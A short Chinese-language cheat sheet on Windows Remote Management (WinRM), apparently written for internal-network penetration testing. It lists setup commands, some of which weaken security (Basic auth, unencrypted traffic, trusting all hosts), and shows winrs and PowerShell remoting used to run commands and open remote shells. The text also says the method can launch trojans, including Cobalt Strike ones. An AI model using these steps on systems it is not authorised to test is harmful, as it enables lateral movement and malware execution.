WinRM

winRM默认管理端口5985(HTTP端口)或者5986(HTTPS端口),如果所有的机器都在域环境下的话,则可以使用默认的5985端口,否则的话需要使用HTTPS传输(5986端口)。使用WinRM我们可以在对方设置防火墙的情况下远程管理这台服务器

1、WinRM配置

  1. #查看WinRM状态
  2. winrm enumerate winrm/config/listener
  3. #开启WinRM远程管理
  4. Enable-PSRemoting force
  5. #设置WinRM自启动
  6. Set-Service WinRM -StartMode Automatic
  7. #对WinRM服务进行快速配置,包括开启WinRM和开启防火墙异常检测,默认的5985端口
  8. winrm quickconfig -q
  9. #对WinRM服务进行快速配置,包括开启WinRM和开启防火墙异常检测,HTTPS传输,5986端口
  10. winrm quickconfig -transport:https
  11. #查看WinRM的配置
  12. winrm get winrm/config
  13. #查看WinRM的监听器
  14. winrm e winrm/config/listener
  15. #为WinRM服务配置认证
  16. winrm set winrm/config/service/auth '@{Basic="true"}'
  17. #允许所有ip连接
  18. winrm set winrm/config/Client @{TrustedHosts="*"}
  19. #查看监听地址和端口
  20. winrm e winrm/config/listener
  21. #修改WinRM默认端口
  22. winrm set winrm/config/client/DefaultPorts '@{HTTPS="8888"}'
  23. #为WinRM服务配置加密方式为允许非加密:
  24. winrm set winrm/config/service '@{AllowUnencrypted="true"}'
  25. #设置只允许指定IP远程连接WinRM
  26. winrm set winrm/config/Client '@{TrustedHosts="192.168.10.*"}'
  27. #远程命令执行
  28. C:\Users\Administrator>winrs -r:192.168.86.114 -u:192.168.86.114\administrator -p:123456 whoami
  29. #获取交互shell
  30. C:\Users\Administrator>winrs -r:192.168.86.114 -u:192.168.86.114\administrator -p:123456 cmd

2、通过WinRM执行程序

可以执行木马程序

  1. #执行命令
  2. winrm invoke create wmicimv2/win32_process -SkipCAcheck -skipCNcheck '@{commandline="calc.exe"}'

也可执行命令程序,可以执行CS上的木马

  1. #执行指定命令程序
  2. winrm invoke create wmicimv2/win32_process -SkipCAcheck -skipCNcheck '@{commandline="c:\users\administrator\desktop\test.exe"}'

利用WinRM远程连接目标主机

客户端连接,也要启动WinRM,然后在执行下面的命令进行连接
方法一: 使用winrs连接
在cmd窗口执行以下命令

  1. winrs -r:http://192.168.10.20:5985 -u:administrator -p:root cmd

方法二:使用Enter-PSSession连接

  1. Enter-PSSession -computer win2008.xie.com -Credential xie\administrator -Port 5985
  2. New-PSSession -Name test -ComputerName win7.xie.com -Credential xie\administrator
  3. Enter-PSSession -Name test

常见查询命令

  1. 查看WinRM远程会话
  2. Get-PSSession
  3. 进入ID2WinRM会话中
  4. Enter-PSSession -id 2
  5. 退出WinRM会话
  6. Exit-PSSession

注:如果要允许本地管理员组的其他用户登录WinRM,需要修改注册表设置
修改localAccountTokenFilterPolicy为1

参考资料:
https://xie1997.blog.csdn.net/article/details/105122945
https://pythonpig.github.io/2020/09/09/%E5%86%85%E7%BD%91%E6%B8%97%E9%80%8F%E4%B9%8BWinRM/